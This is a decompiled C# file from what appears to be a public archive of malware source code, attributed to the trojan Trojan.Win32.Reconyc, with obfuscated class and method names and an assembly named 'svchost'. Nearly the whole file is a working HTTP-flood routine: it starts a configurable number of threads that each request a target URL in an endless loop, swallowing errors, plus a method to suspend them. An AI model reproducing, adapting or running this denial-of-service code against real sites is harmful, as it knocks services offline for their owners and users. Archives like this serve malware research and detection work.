MalwareSourceCode/MSIL/Trojan/Win32/R/Trojan.Win32.Reconyc.efsu-49381cd9042bc3cc4ed4ef172003f6330ee39256d57a554e08499cf3b3054e87/_003F18_003F.cs

72 lines
2.2 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: ?1?.?18?
// Assembly: svchost, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 0572F6A4-2AE0-441B-8B88-3FB3343AE211
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Reconyc.efsu-49381cd9042bc3cc4ed4ef172003f6330ee39256d57a554e08499cf3b3054e87.exe
using \u003F1\u003F;
using System.Net;
using System.Threading;
namespace \u003F1\u003F
{
internal class \u003F18\u003F
{
private static ThreadStart[] \u003F130\u003F;
private static Thread[] \u003F131\u003F;
public static string \u003F129\u003F;
private static \u003F18\u003F.\u003F19\u003F[] \u003F192\u003F;
public static int \u003F134\u003F;
public static void \u003F77\u003F()
{
\u003F18\u003F.\u003F131\u003F = new Thread[\u003F18\u003F.\u003F134\u003F];
\u003F18\u003F.\u003F130\u003F = new ThreadStart[\u003F18\u003F.\u003F134\u003F];
\u003F18\u003F.\u003F192\u003F = new \u003F18\u003F.\u003F19\u003F[\u003F18\u003F.\u003F134\u003F];
for (int index = 0; index < \u003F18\u003F.\u003F134\u003F; ++index)
{
\u003F18\u003F.\u003F192\u003F[index] = new \u003F18\u003F.\u003F19\u003F(\u003F18\u003F.\u003F129\u003F);
\u003F18\u003F.\u003F130\u003F[index] = new ThreadStart(\u003F18\u003F.\u003F192\u003F[index].\u003F23\u003F);
\u003F18\u003F.\u003F131\u003F[index] = new Thread(\u003F18\u003F.\u003F130\u003F[index]);
\u003F18\u003F.\u003F131\u003F[index].Start();
}
}
public static void \u003F78\u003F()
{
for (int index = 0; index < \u003F18\u003F.\u003F134\u003F; ++index)
{
try
{
\u003F18\u003F.\u003F131\u003F[index].Suspend();
}
catch
{
}
}
}
private class \u003F19\u003F
{
private string \u003F129\u003F;
private WebClient \u003F193\u003F = new WebClient();
public \u003F19\u003F(string _param1) => this.\u003F129\u003F = _param1;
public void \u003F23\u003F()
{
while (true)
{
try
{
this.\u003F193\u003F.DownloadString(this.\u003F129\u003F);
}
catch
{
}
}
}
}
}
}